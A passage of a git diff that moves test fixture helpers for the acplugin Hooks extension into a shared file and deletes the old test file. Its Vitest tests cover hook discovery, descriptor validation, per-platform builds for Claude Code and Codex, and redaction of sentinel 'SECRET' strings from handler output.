写入一个实际参与 Bundle 和第三方许可收集的本地 npm 依赖。 + * + * @param root 临时工程根目录。 + */ +async function writeLicensedDependency(root: string): Promise { + /** 临时 node_modules 中的第三方测试包目录。 */ + const packageRoot = path.join(root, 'node_modules/fixture-dependency'); + await fs.mkdir(packageRoot, { recursive: true }); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: 'fixture-dependency', + version: '2.3.4', + type: 'module', + exports: './index.js', + license: 'MIT', + })); + await fs.writeFile(path.join(packageRoot, 'index.js'), 'export function dependencyMessage() { return "licensed dependency"; }\n'); + await fs.writeFile(path.join(packageRoot, 'LICENSE'), 'Fixture dependency license.\n'); +} + +/** + * 创建带最小 Skill、配置和可选 Hooks 的真实临时工程。 + * + * @param options Hook、Platform 字段和第三方依赖选项。 + * @returns 已登记清理的工程绝对路径。 + */ +export async function createProject(options: ProjectFixtureOptions = {}): Promise { + /** 当前测试独占的临时工程根目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-hooks-test-')); + temporaryRoots.push(root); + await writeExtensionProxy(root); + if (options.dependency === true) + await writeLicensedDependency(root); + await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); + await fs.writeFile( + path.join(root, 'src/skills/hello/SKILL.md'), + '---\ndescription: Say hello.\n---\nSay hello to the user.\n', + ); + for (const hook of options.hooks ?? []) { + /** 当前 Hook 的规范一级目录。 */ + const directory = path.join(root, 'src/hooks', hook.id); + await fs.mkdir(directory, { recursive: true }); + await fs.writeFile( + path.join(directory, 'hook.ts'), + `import type { Hook } from '@tokenroll/acplugin-extension-hooks';\n${hook.imports ?? ''}\nexport default ${hook.definition} satisfies Hook;\n`, + ); + } + await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` +import hooks from '@tokenroll/acplugin-extension-hooks'; +${options.configImports ?? `import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex';`} +export default { + name: 'hooks-fixture', + version: '1.0.0', + description: 'Hooks integration fixture.', + extensions: [hooks(${options.hooksOptions ?? ''})], + ${options.configFields ?? 'platforms: [claudeCode(), codex()], build: { strict: false },'} +}; +`); + return root; +} + +/** + * 执行最终 Bundle Handler,并完整收集测试所需的 stdout 和 stderr。 + * + * @param handler Handler Bundle 绝对路径。 + * @param platform Contributor 固定传入的 Platform ID。 + * @param input 写入 stdin 的原始字符串。 + * @param environment 可选的 Plugin Root 和 Plugin Data 环境变量。 + * @returns 子进程退出结果。 + */ +export async function runHandler( + handler: string, + platform: string, + input: string, + environment: Readonly> = {}, +): Promise { + return new Promise((resolve, reject) => { + /** 使用当前 Node 执行实际安装产物的子进程。 */ + const child = spawn(process.execPath, [handler, platform], { + env: { ...process.env, ...environment }, + stdio: ['pipe', 'pipe', 'pipe'], + }); + /** 子进程累计的标准输出文本。 */ + let stdout = ''; + /** 子进程累计的标准错误文本。 */ + let stderr = ''; + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', (chunk: string) => { + stdout += chunk; + }); + child.stderr.on('data', (chunk: string) => { + stderr += chunk; + }); + child.on('error', reject); + child.on('close', code => resolve({ code, stdout, stderr })); + child.stdin.end(input); + }); +} + +/** + * 创建覆盖 11 个规范事件、输入规范化和安全输出边界的 Hook fixtures。 + * + * @returns 按事件声明顺序排列的作者资源。 + */ +export function canonicalHooks(): readonly HookFixture[] { + return HOOK_EVENTS.map((event): HookFixture => { + if (event === 'PreToolUse') { + return { + id: 'pre-tool-use', + imports: `import { dependencyMessage } from 'fixture-dependency';`, + definition: `{ + event: 'PreToolUse', + matcher: 'Bash', + timeout: 5, + platforms: { codex: { additionalContextLimit: 1200 } }, + run(input, context) { + const toolInput = input.toolInput as { nestedValue: string }; + dependencyMessage(); + if (toolInput.nestedValue === 'invalid-json') + return { decision: 'allow', updatedInput: { nested: { secret: BigInt(1) } } }; + if (toolInput.nestedValue === 'context') + return { decision: 'deny', reason: [context.platform, context.pluginRoot, context.pluginData].join(':') }; + return { decision: 'deny', reason: context.platform + ':' + input.toolName + ':' + toolInput.nestedValue }; + }, + }`, + }; + } + if (event === 'SessionEnd') { + return { + id: 'session-end', + imports: `import { readFile } from 'node:fs';`, + definition: `{ + event: 'SessionEnd', + run(input) { + if (input.reason === 'oversized') return { systemMessage: 'x'.repeat(1024 * 1024) }; + if (input.reason.startsWith('log:')) process.stdout.write(input.reason.slice(4)); + if (input.reason.startsWith('throw:')) throw new Error(input.reason.slice(6)); + if (input.reason === 'delayed-log') setTimeout(() => process.stdout.write('DELAYED_SECRET'), 0); + if (input.reason === 'delayed-throw') setTimeout(() => { throw new Error('DELAYED_SECRET'); }, 0); + if (input.reason === 'delayed-rejection') setTimeout(() => Promise.reject(new Error('DELAYED_SECRET')), 0); + if (input.reason === 'multiple-async-failures') { + setTimeout(() => { throw new Error('FIRST_SECRET'); }, 0); + setTimeout(() => { throw new Error('SECOND_SECRET'); }, 5); + } + if (input.reason === 'late-before-exit') + process.once('beforeExit', () => { throw new Error('BEFORE_EXIT_SECRET'); }); + if (input.reason === 'late-before-exit-io') + process.once('beforeExit', () => { + readFile(new URL(import.meta.url), () => { throw new Error('BEFORE_EXIT_IO_SECRET'); }); + }); + }, + }`, + }; + } + if (event === 'Stop') { + return { + id: 'stop', + definition: `{ event: 'Stop', matcher: 'quality-gate', run() { return { decision: 'finish' }; } }`, + }; + } + if (event === 'PreCompact' || event === 'PostCompact') { + /** 两个压缩事件共同验证通用 continue/stop wire 语义。 */ + const id = event === 'PreCompact' ? 'pre-compact' : 'post-compact'; + return { + id, + definition: `{ event: ${JSON.stringify(event)}, run() { return { decision: 'stop', reason: 'Compact later.' }; } }`, + }; + } + /** 其他规范事件只需证明发现、Bundle、Contributor 和兼容性闭环。 */ + const id = event.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase(); + return { id, definition: `{ event: ${JSON.stringify(event)}, run() {} }` }; + }); +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); diff --git a/packages/extensions/hooks/test/hooks.test.ts b/packages/extensions/hooks/test/hooks.test.ts deleted file mode 100644 index bb0d254..0000000 --- a/packages/extensions/hooks/test/hooks.test.ts +++ /dev/null @@ -1,974 +0,0 @@ -import { spawn } from 'node:child_process'; -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { afterEach, describe, expect, it } from 'vitest'; -import type { BuildReport, RunProjectOptions } from '@tokenroll/acplugin'; -import hooks, { HOOK_EVENTS } from '../src/index.js'; - -/** 当前测试文件所在仓库的绝对根目录。 */ -const repositoryRoot = path.resolve(import.meta.dirname, '../../../..'); - -/** 测试描述文件通过临时包入口加载的 Hooks Extension 构建产物。 */ -const extensionEntry = path.join(repositoryRoot, 'packages/extensions/hooks/dist/index.mjs'); - -/** 需要自定义 Platform 时由配置文件直接加载的主包构建产物。 */ -const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); - -/** 配置覆盖使用的三个独立 Platform 真实构建入口。 */ -const claudeCodeEntry = path.join(repositoryRoot, 'packages/platforms/claude-code/dist/index.mjs'); -/** Hook 测试自定义配置使用的 Codex Platform 构建入口。 */ -const codexEntry = path.join(repositoryRoot, 'packages/platforms/codex/dist/index.mjs'); -/** Hook 测试自定义配置使用的 Cursor Platform 构建入口。 */ -const cursorEntry = path.join(repositoryRoot, 'packages/platforms/cursor/dist/index.mjs'); - -/** 当前测试创建并在 afterEach 中统一删除的临时工程。 */ -const temporaryRoots: string[] = []; - -/** 单个测试 Hook 的目录 ID 和 plain descriptor 源码。 */ -interface HookFixture { - /** `src/hooks/` 使用的规范目录 ID。 */ - readonly id: string; - /** descriptor 之前写入的可选额外 import。 */ - readonly imports?: string; - /** 默认导出的 TypeScript 对象表达式。 */ - readonly definition: string; -} - -/** 创建临时规范工程时使用的可选配置。 */ -interface ProjectFixtureOptions { - /** 当前工程需要写入的 Hook 作者资源。 */ - readonly hooks?: readonly HookFixture[]; - /** 添加到配置文件 import 区域的源码。 */ - readonly configImports?: string; - /** 添加到顶层配置对象的字段源码。 */ - readonly configFields?: string; - /** 是否提供一个带 LICENSE 的本地第三方依赖。 */ - readonly dependency?: boolean; - /** 直接传入 `hooks(...)` 的可选 TypeScript 参数表达式。 */ - readonly hooksOptions?: string; -} - -/** 子进程 Handler 的稳定退出状态和有限输出。 */ -interface HandlerResult { - /** Node 子进程退出码。 */ - readonly code: number | null; - /** Handler 写入标准输出的完整文本。 */ - readonly stdout: string; - /** Handler 写入标准错误的安全文本。 */ - readonly stderr: string; -} - -/** - * 在原生 Node ESM 子进程中运行公开 API,确保共享 registry brand 只绑定一个主包实例。 - * - * @param options 可 JSON 序列化的项目运行选项。 - * @returns 公开 API 产生的结构化 BuildReport。 - */ -async function runProject(options: RunProjectOptions): Promise { - /** 子进程直接导入真实主包构建产物并序列化结果的 ESM 源码。 */ - const source = ` -import { runProject } from ${JSON.stringify(acpluginEntry)}; -try { - const result = await runProject(${JSON.stringify(options)}); - process.stdout.write(JSON.stringify({ ok: true, result })); -} catch (error) { - process.stdout.write(JSON.stringify({ - ok: false, - name: error instanceof Error ? error.name : 'Error', - message: error instanceof Error ? error.message : 'Project execution failed.', - diagnostics: error && typeof error === 'object' && 'diagnostics' in error ? error.diagnostics : [], - })); -} -`; - /** Node 子进程的退出状态与文本输出。 */ - const execution = await new Promise((resolve, reject) => { - /** 不经过 Vitest 转换器的原生 ESM 子进程。 */ - const child = spawn(process.execPath, ['--input-type=module', '--eval', source], { - env: process.env, - stdio: ['ignore', 'pipe', 'pipe'], - }); - /** 子进程累计的 JSON 标准输出。 */ - let stdout = ''; - /** 子进程累计的框架错误输出。 */ - let stderr = ''; - child.stdout.setEncoding('utf8'); - child.stderr.setEncoding('utf8'); - child.stdout.on('data', (chunk: string) => { - stdout += chunk; - }); - child.stderr.on('data', (chunk: string) => { - stderr += chunk; - }); - child.on('error', reject); - child.on('close', code => resolve({ code, stdout, stderr })); - }); - if (execution.code !== 0) - throw new Error(`Project subprocess failed: ${execution.stderr}`); - /** 子进程返回的成功结果或安全异常摘要。 */ - const payload = JSON.parse(execution.stdout) as { - readonly ok: boolean; - readonly result?: BuildReport; - readonly name?: string; - readonly message?: string; - readonly diagnostics?: unknown; - }; - if (!payload.ok || payload.result === undefined) - throw new Error(`${payload.name ?? 'Error'}: ${payload.message ?? 'Project execution failed.'} ${JSON.stringify(payload.diagnostics ?? [])} STDERR=${execution.stderr}`); - return payload.result; -} - -/** - * 在临时工程中创建可由统一 Module Service 和 Rolldown 共同解析的 Extension 包入口。 - * - * @param root 临时工程根目录。 - */ -async function writeExtensionProxy(root: string): Promise { - /** 临时 node_modules 中的 Hooks Extension 包目录。 */ - const packageRoot = path.join(root, 'node_modules/@tokenroll/acplugin-extension-hooks'); - await fs.mkdir(packageRoot, { recursive: true }); - await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ - name: '@tokenroll/acplugin-extension-hooks', - version: '1.0.0', - type: 'module', - exports: './index.mjs', - })); - await fs.writeFile( - path.join(packageRoot, 'index.mjs'), - `export * from ${JSON.stringify(extensionEntry)}; export { default } from ${JSON.stringify(extensionEntry)};\n`, - ); - /** Hooks 构建产物按包名导入公开 SDK,这里提供与打包安装相同的代理入口。 */ - const acpluginRoot = path.join(root, 'node_modules/@tokenroll/acplugin'); - await fs.mkdir(acpluginRoot, { recursive: true }); - await fs.writeFile(path.join(acpluginRoot, 'package.json'), JSON.stringify({ - name: '@tokenroll/acplugin', - version: '1.0.0', - type: 'module', - exports: { '.': './index.mjs', './sdk': './sdk.mjs' }, - })); - await fs.writeFile(path.join(acpluginRoot, 'index.mjs'), `export * from ${JSON.stringify(acpluginEntry)};\n`); - await fs.writeFile(path.join(acpluginRoot, 'sdk.mjs'), `export * from ${JSON.stringify(path.join(repositoryRoot, 'packages/acplugin/dist/sdk.mjs'))};\n`); - /** Platform package proxies keep config imports inside the fixture's package graph. */ - for (const [name, entry] of [ - ['@tokenroll/acplugin-platform-claude-code', claudeCodeEntry], - ['@tokenroll/acplugin-platform-codex', codexEntry], - ['@tokenroll/acplugin-platform-cursor', cursorEntry], - ] as const) { - /** 当前代理包的物理根目录。 */ - const platformRoot = path.join(root, 'node_modules', name); - await fs.mkdir(platformRoot, { recursive: true }); - await fs.writeFile(path.join(platformRoot, 'package.json'), JSON.stringify({ - name, - version: '1.0.0', - type: 'module', - exports: './index.mjs', - })); - await fs.writeFile(path.join(platformRoot, 'index.mjs'), `export * from ${JSON.stringify(entry)}; export { default } from ${JSON.stringify(entry)};\n`); - } -} - -/** - * 写入一个实际参与 Bundle 和第三方许可收集的本地 npm 依赖。 - * - * @param root 临时工程根目录。 - */ -async function writeLicensedDependency(root: string): Promise { - /** 临时 node_modules 中的第三方测试包目录。 */ - const packageRoot = path.join(root, 'node_modules/fixture-dependency'); - await fs.mkdir(packageRoot, { recursive: true }); - await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ - name: 'fixture-dependency', - version: '2.3.4', - type: 'module', - exports: './index.js', - license: 'MIT', - })); - await fs.writeFile(path.join(packageRoot, 'index.js'), 'export function dependencyMessage() { return "licensed dependency"; }\n'); - await fs.writeFile(path.join(packageRoot, 'LICENSE'), 'Fixture dependency license.\n'); -} - -/** - * 创建带最小 Skill、配置和可选 Hooks 的真实临时工程。 - * - * @param options Hook、Platform 字段和第三方依赖选项。 - * @returns 已登记清理的工程绝对路径。 - */ -async function createProject(options: ProjectFixtureOptions = {}): Promise { - /** 当前测试独占的临时工程根目录。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-hooks-test-')); - temporaryRoots.push(root); - await writeExtensionProxy(root); - if (options.dependency === true) - await writeLicensedDependency(root); - await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); - await fs.writeFile( - path.join(root, 'src/skills/hello/SKILL.md'), - '---\ndescription: Say hello.\n---\nSay hello to the user.\n', - ); - for (const hook of options.hooks ?? []) { - /** 当前 Hook 的规范一级目录。 */ - const directory = path.join(root, 'src/hooks', hook.id); - await fs.mkdir(directory, { recursive: true }); - await fs.writeFile( - path.join(directory, 'hook.ts'), - `import type { Hook } from '@tokenroll/acplugin-extension-hooks';\n${hook.imports ?? ''}\nexport default ${hook.definition} satisfies Hook;\n`, - ); - } - await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` -import hooks from '@tokenroll/acplugin-extension-hooks'; -${options.configImports ?? `import claudeCode from '@tokenroll/acplugin-platform-claude-code'; -import codex from '@tokenroll/acplugin-platform-codex';`} -export default { - name: 'hooks-fixture', - version: '1.0.0', - description: 'Hooks integration fixture.', - extensions: [hooks(${options.hooksOptions ?? ''})], - ${options.configFields ?? 'platforms: [claudeCode(), codex()], build: { strict: false },'} -}; -`); - return root; -} - -/** - * 执行最终 Bundle Handler,并完整收集测试所需的 stdout 和 stderr。 - * - * @param handler Handler Bundle 绝对路径。 - * @param platform Contributor 固定传入的 Platform ID。 - * @param input 写入 stdin 的原始字符串。 - * @param environment 可选的 Plugin Root 和 Plugin Data 环境变量。 - * @returns 子进程退出结果。 - */ -async function runHandler( - handler: string, - platform: string, - input: string, - environment: Readonly> = {}, -): Promise { - return new Promise((resolve, reject) => { - /** 使用当前 Node 执行实际安装产物的子进程。 */ - const child = spawn(process.execPath, [handler, platform], { - env: { ...process.env, ...environment }, - stdio: ['pipe', 'pipe', 'pipe'], - }); - /** 子进程累计的标准输出文本。 */ - let stdout = ''; - /** 子进程累计的标准错误文本。 */ - let stderr = ''; - child.stdout.setEncoding('utf8'); - child.stderr.setEncoding('utf8'); - child.stdout.on('data', (chunk: string) => { - stdout += chunk; - }); - child.stderr.on('data', (chunk: string) => { - stderr += chunk; - }); - child.on('error', reject); - child.on('close', code => resolve({ code, stdout, stderr })); - child.stdin.end(input); - }); -} - -/** - * 创建覆盖 11 个规范事件、输入规范化和安全输出边界的 Hook fixtures。 - * - * @returns 按事件声明顺序排列的作者资源。 - */ -function canonicalHooks(): readonly HookFixture[] { - return HOOK_EVENTS.map((event): HookFixture => { - if (event === 'PreToolUse') { - return { - id: 'pre-tool-use', - imports: `import { dependencyMessage } from 'fixture-dependency';`, - definition: `{ - event: 'PreToolUse', - matcher: 'Bash', - timeout: 5, - platforms: { codex: { additionalContextLimit: 1200 } }, - run(input, context) { - const toolInput = input.toolInput as { nestedValue: string }; - dependencyMessage(); - if (toolInput.nestedValue === 'invalid-json') - return { decision: 'allow', updatedInput: { nested: { secret: BigInt(1) } } }; - if (toolInput.nestedValue === 'context') - return { decision: 'deny', reason: [context.platform, context.pluginRoot, context.pluginData].join(':') }; - return { decision: 'deny', reason: context.platform + ':' + input.toolName + ':' + toolInput.nestedValue }; - }, - }`, - }; - } - if (event === 'SessionEnd') { - return { - id: 'session-end', - imports: `import { readFile } from 'node:fs';`, - definition: `{ - event: 'SessionEnd', - run(input) { - if (input.reason === 'oversized') return { systemMessage: 'x'.repeat(1024 * 1024) }; - if (input.reason.startsWith('log:')) process.stdout.write(input.reason.slice(4)); - if (input.reason.startsWith('throw:')) throw new Error(input.reason.slice(6)); - if (input.reason === 'delayed-log') setTimeout(() => process.stdout.write('DELAYED_SECRET'), 0); - if (input.reason === 'delayed-throw') setTimeout(() => { throw new Error('DELAYED_SECRET'); }, 0); - if (input.reason === 'delayed-rejection') setTimeout(() => Promise.reject(new Error('DELAYED_SECRET')), 0); - if (input.reason === 'multiple-async-failures') { - setTimeout(() => { throw new Error('FIRST_SECRET'); }, 0); - setTimeout(() => { throw new Error('SECOND_SECRET'); }, 5); - } - if (input.reason === 'late-before-exit') - process.once('beforeExit', () => { throw new Error('BEFORE_EXIT_SECRET'); }); - if (input.reason === 'late-before-exit-io') - process.once('beforeExit', () => { - readFile(new URL(import.meta.url), () => { throw new Error('BEFORE_EXIT_IO_SECRET'); }); - }); - }, - }`, - }; - } - if (event === 'Stop') { - return { - id: 'stop', - definition: `{ event: 'Stop', matcher: 'quality-gate', run() { return { decision: 'finish' }; } }`, - }; - } - if (event === 'PreCompact' || event === 'PostCompact') { - /** 两个压缩事件共同验证通用 continue/stop wire 语义。 */ - const id = event === 'PreCompact' ? 'pre-compact' : 'post-compact'; - return { - id, - definition: `{ event: ${JSON.stringify(event)}, run() { return { decision: 'stop', reason: 'Compact later.' }; } }`, - }; - } - /** 其他规范事件只需证明发现、Bundle、Contributor 和兼容性闭环。 */ - const id = event.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase(); - return { id, definition: `{ event: ${JSON.stringify(event)}, run() {} }` }; - }); -} - -afterEach(async () => { - await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); -}); - -describe('Hooks Extension', () => { - it('filters discovered resources with include and rejects invalid factory options', async () => { - /** 只选择 keep、忽略 skip 的真实作者工程。 */ - const root = await createProject({ - hooks: [ - { id: 'keep', definition: `{ event: 'SessionStart', run() {} }` }, - { id: 'skip', definition: `{ event: 'Stop', run() {} }` }, - ], - hooksOptions: `{ include: ['keep'] }`, - }); - /** include 筛选后的双 Platform 构建结果。 */ - const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); - - expect(result.success).toBe(true); - expect((await fs.readdir(path.join(root, 'dist/claude-code/plugin/hooks'))).sort()).toEqual(['hooks.json', 'keep']); - await expect(fs.access(path.join(root, 'dist/codex/plugin/hooks/skip/handler.mjs'))).rejects.toThrow(); - expect(() => hooks({ include: ['valid', 'valid'] })).toThrow('duplicate ID'); - expect(() => hooks({ include: ['Not-Kebab'] })).toThrow('lowercase kebab-case'); - expect(() => hooks({ unknown: true } as never)).toThrow('Unknown Hooks option'); - }); - - it('rejects non-enumerable descriptor accessors without evaluating them', async () => { - /** 不可枚举 getter 也属于可执行描述行为,不能靠 Object.keys 隐藏。 */ - const root = await createProject({ - hooks: [{ - id: 'accessor', - definition: `(() => { - const value = { event: 'SessionStart', run() {} }; - Object.defineProperty(value, 'hidden', { get() { throw new Error('MUST_NOT_RUN'); } }); - return value; - })() as never`, - }], - }); - /** discover 只报告脱敏加载失败,不执行或泄漏 getter 内容。 */ - const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); - - expect(result.success).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_LOAD_FAILED' })); - expect(JSON.stringify(result.diagnostics)).not.toContain('MUST_NOT_RUN'); - }); - - it('rejects non-enumerable unknown descriptor fields', async () => { - /** data property 即使不可枚举也必须保留到领域 Schema 检查。 */ - const root = await createProject({ - hooks: [{ - id: 'hidden-field', - definition: `(() => { - const value = { event: 'SessionStart', run() {} }; - Object.defineProperty(value, 'hidden', { value: true }); - return value; - })() as never`, - }], - }); - /** 隐藏字段不能因 Module Service 快照规则而消失。 */ - const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); - - expect(result.success).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_FIELD_UNKNOWN' })); - }); - - it('distinguishes omitted descriptor fields from nested undefined values', async () => { - /** 顶层可选字段缺失是合法 omission。 */ - const omittedRoot = await createProject({ - hooks: [{ - id: 'omitted', - definition: `{ event: 'SessionStart', run() {} }`, - }], - }); - /** omission 能完整进入 validate/build,而不是被误判成非法 JSON。 */ - const omitted = await runProject({ cwd: omittedRoot, command: 'validate', mode: 'production' }); - expect(omitted.success).toBe(true); - expect(omitted.extensions).toContainEqual(expect.objectContaining({ - id: 'hooks', - discovered: true, - subjects: expect.arrayContaining([ - expect.objectContaining({ subject: 'hook:omitted' }), - ]), - })); - - /** 已出现的嵌套字段显式 undefined 不是 JSON 数据。 */ - const invalidRoot = await createProject({ - hooks: [{ - id: 'nested-undefined', - definition: `{ event: 'SessionStart', platforms: { codex: { timeout: undefined } }, run() {} } as never`, - }], - }); - /** discover 必须只拒绝包含显式 nested undefined 的 descriptor。 */ - const invalid = await runProject({ cwd: invalidRoot, command: 'validate', mode: 'production' }); - - expect(invalid.success).toBe(false); - expect(invalid.diagnostics.filter(diagnostic => diagnostic.code === 'HOOK_LOAD_FAILED')).toHaveLength(1); - }); - - it('rejects array accessors, custom fields, Symbols and __proto__ fields without executing accessors', async () => { - /** 四个资源分别覆盖 nested array getter、自定义索引、数组 Symbol 与特殊对象字段名。 */ - const root = await createProject({ - hooks: [{ - id: 'nested-accessor', - definition: `(() => { - const platforms = []; - Object.defineProperty(platforms, '0', { get() { process.stdout.write('GETTER_EXECUTED'); return 'codex'; } }); - Object.defineProperty(platforms, 'length', { value: 1 }); - return { event: 'SessionStart', platforms, run() {} }; - })() as never`, - }, { - id: 'array-field', - definition: `(() => { - const platforms = ['codex']; - Object.defineProperty(platforms, '01', { value: 'claude-code' }); - return { event: 'SessionStart', platforms, run() {} }; - })() as never`, - }, { - id: 'array-symbol', - definition: `(() => { - const platforms = ['codex']; - Object.defineProperty(platforms, Symbol.for('hidden'), { value: true }); - return { event: 'SessionStart', platforms, run() {} }; - })() as never`, - }, { - id: 'proto-field', - definition: `(() => { - const value = { event: 'SessionStart', run() {} }; - Object.defineProperty(value, '__proto__', { value: true }); - return value; - })() as never`, - }], - }); - /** getter 资源加载失败,特殊字段资源进入领域未知字段诊断。 */ - const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); - - expect(result.success).toBe(false); - expect(result.diagnostics.filter(diagnostic => diagnostic.code === 'HOOK_LOAD_FAILED')).toHaveLength(3); - }); - - it('reports missing includes and platform-specific SessionEnd timeout limits', async () => { - /** 同时覆盖缺失 include 和 Codex 三秒上限的工程。 */ - const missingRoot = await createProject({ - hooks: [{ id: 'session-end', definition: `{ event: 'SessionEnd', timeout: 4, platforms: { 'claude-code': { timeout: 60 } }, run() {} }` }], - hooksOptions: `{ include: ['session-end', 'missing'] }`, - }); - /** discover 与 validate 阶段应分别提交目标明确的诊断。 */ - const missing = await runProject({ cwd: missingRoot, command: 'validate', mode: 'production' }); - expect(missing.success).toBe(false); - expect(missing.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_INCLUDE_MISSING' })); - expect(missing.diagnostics).not.toContainEqual(expect.objectContaining({ code: 'HOOK_TIMEOUT_PLATFORM_LIMIT' })); - - /** Codex 使用三秒,而 Claude Code 单独超过六十秒上限的工程。 */ - const claudeRoot = await createProject({ - hooks: [{ id: 'session-end', definition: `{ event: 'SessionEnd', timeout: 3, platforms: { 'claude-code': { timeout: 61 } }, run() {} }` }], - }); - /** Claude Code 上限必须独立于 Codex 默认值验证。 */ - const claude = await runProject({ cwd: claudeRoot, command: 'validate', mode: 'production' }); - expect(claude.success).toBe(false); - expect(claude.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_TIMEOUT_PLATFORM_LIMIT' })); - }); - - it('builds all canonical events once and adapts them to Claude Code and Codex', async () => { - /** 覆盖完整事件矩阵和本地第三方依赖的真实工程。 */ - const root = await createProject({ hooks: canonicalHooks(), dependency: true }); - /** 完整提交双 Platform 产物的构建结果。 */ - const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); - - expect(result.success).toBe(true); - /** event 表示当前规范事件,用于验证两个 Contributor 都报告原生触发能力。 */ - for (const event of HOOK_EVENTS) { - expect(result.compatibility).toContainEqual(expect.objectContaining({ - platform: 'claude-code', - capability: `event.${event.replace(/([a-z0-9])([A-Z])/gu, '$1-$2').toLowerCase()}`, - level: 'native', - })); - expect(result.compatibility).toContainEqual(expect.objectContaining({ - platform: 'codex', - capability: `event.${event.replace(/([a-z0-9])([A-Z])/gu, '$1-$2').toLowerCase()}`, - level: 'native', - })); - } - expect(result.compatibility).toContainEqual(expect.objectContaining({ - platform: 'codex', - subject: 'hook:stop', - capability: 'matcher', - level: 'degraded', - })); - - /** Claude Code 最终 Plugin Manifest。 */ - const claudeManifest = JSON.parse(await fs.readFile( - path.join(root, 'dist/claude-code/plugin/.claude-plugin/plugin.json'), - 'utf8', - )) as Record; - /** Codex 最终 Plugin Manifest。 */ - const codexManifest = JSON.parse(await fs.readFile( - path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json'), - 'utf8', - )) as Record; - expect(claudeManifest.hooks).toBe('./hooks/hooks.json'); - expect(codexManifest.hooks).toBe('./hooks/hooks.json'); - - /** Claude Code Contributor 生成的 Hook 配置。 */ - const claudeHooks = JSON.parse(await fs.readFile( - path.join(root, 'dist/claude-code/plugin/hooks/hooks.json'), - 'utf8', - )) as { hooks: Record[] }[]> }; - /** Codex Contributor 生成的 Hook 配置。 */ - const codexHooks = JSON.parse(await fs.readFile( - path.join(root, 'dist/codex/plugin/hooks/hooks.json'), - 'utf8', - )) as { hooks: Record[] }[]> }; - expect(Object.keys(claudeHooks.hooks).sort()).toEqual([...HOOK_EVENTS].sort()); - expect(Object.keys(codexHooks.hooks).sort()).toEqual([...HOOK_EVENTS].sort()); - expect(claudeHooks.hooks.PreToolUse![0]!.hooks[0]).toMatchObject({ - type: 'command', - command: 'node', - args: ['${CLAUDE_PLUGIN_ROOT}/hooks/pre-tool-use/handler.mjs', 'claude-code'], - timeout: 5, - }); - expect(codexHooks.hooks.PreToolUse![0]!.hooks[0]).toMatchObject({ - type: 'command', - command: 'node "${PLUGIN_ROOT}/hooks/pre-tool-use/handler.mjs" codex', - timeout: 5, - additionalContextLimit: 1200, - }); - expect(codexHooks.hooks.PreToolUse![0]!.hooks[0]).not.toHaveProperty('args'); - - /** 两个平台复用同一平台中立 Handler 的 Claude Code 文件。 */ - const claudeHandler = path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/handler.mjs'); - /** 两个平台复用同一平台中立 Handler 的 Codex 文件。 */ - const codexHandler = path.join(root, 'dist/codex/plugin/hooks/pre-tool-use/handler.mjs'); - expect(await fs.readFile(claudeHandler)).toEqual(await fs.readFile(codexHandler)); - await expect(fs.access(path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/wire.mjs'))).rejects.toThrow(); - expect((await fs.readFile(claudeHandler, 'utf8'))).not.toContain('./wire.mjs'); - expect(await fs.readFile( - path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/THIRD_PARTY_LICENSES.txt'), - 'utf8', - )).toContain('fixture-dependency@2.3.4'); - }); - - it('keeps Handler bytes and report hashes stable across isolated work directories', async () => { - /** 单个 Hook 足以暴露随机 Extension workDir 曾进入 Rolldown region 注释的问题。 */ - const root = await createProject({ - hooks: [{ id: 'session-start', definition: `{ event: 'SessionStart', run() {} }` }], - }); - /** 第一次完整构建的稳定报告。 */ - const first = await runProject({ cwd: root, command: 'build', mode: 'production' }); - /** 第一次事务提交后的 Handler 原始字节。 */ - const firstHandler = await fs.readFile(path.join(root, 'dist/claude-code/plugin/hooks/session-start/handler.mjs')); - /** 相同输入下由新 workDir 完成的第二次构建报告。 */ - const second = await runProject({ cwd: root, command: 'build', mode: 'production' }); - /** 第二次事务提交后的 Handler 原始字节。 */ - const secondHandler = await fs.readFile(path.join(root, 'dist/claude-code/plugin/hooks/session-start/handler.mjs')); - - expect(first.success).toBe(true); - expect(second.success).toBe(true); - expect(secondHandler).toEqual(firstHandler); - expect(secondHandler.toString('utf8')).not.toMatch(/^\/\/#(?:end)?region/mu); - expect(secondHandler.toString('utf8')).not.toContain(root); - expect(secondHandler.toString('utf8')).not.toContain('src/hooks/session-start/hook.ts'); - expect(second.packages).toEqual(first.packages); - /** 删除 Canonical 源码后,自包含安装产物仍必须可独立执行。 */ - await fs.rm(path.join(root, 'src/hooks'), { recursive: true }); - /** 删除源码后执行已安装 Handler 的进程结果。 */ - const execution = await runHandler( - path.join(root, 'dist/claude-code/plugin/hooks/session-start/handler.mjs'), - 'claude-code', - JSON.stringify({ session_id: 'session-1', cwd: root, 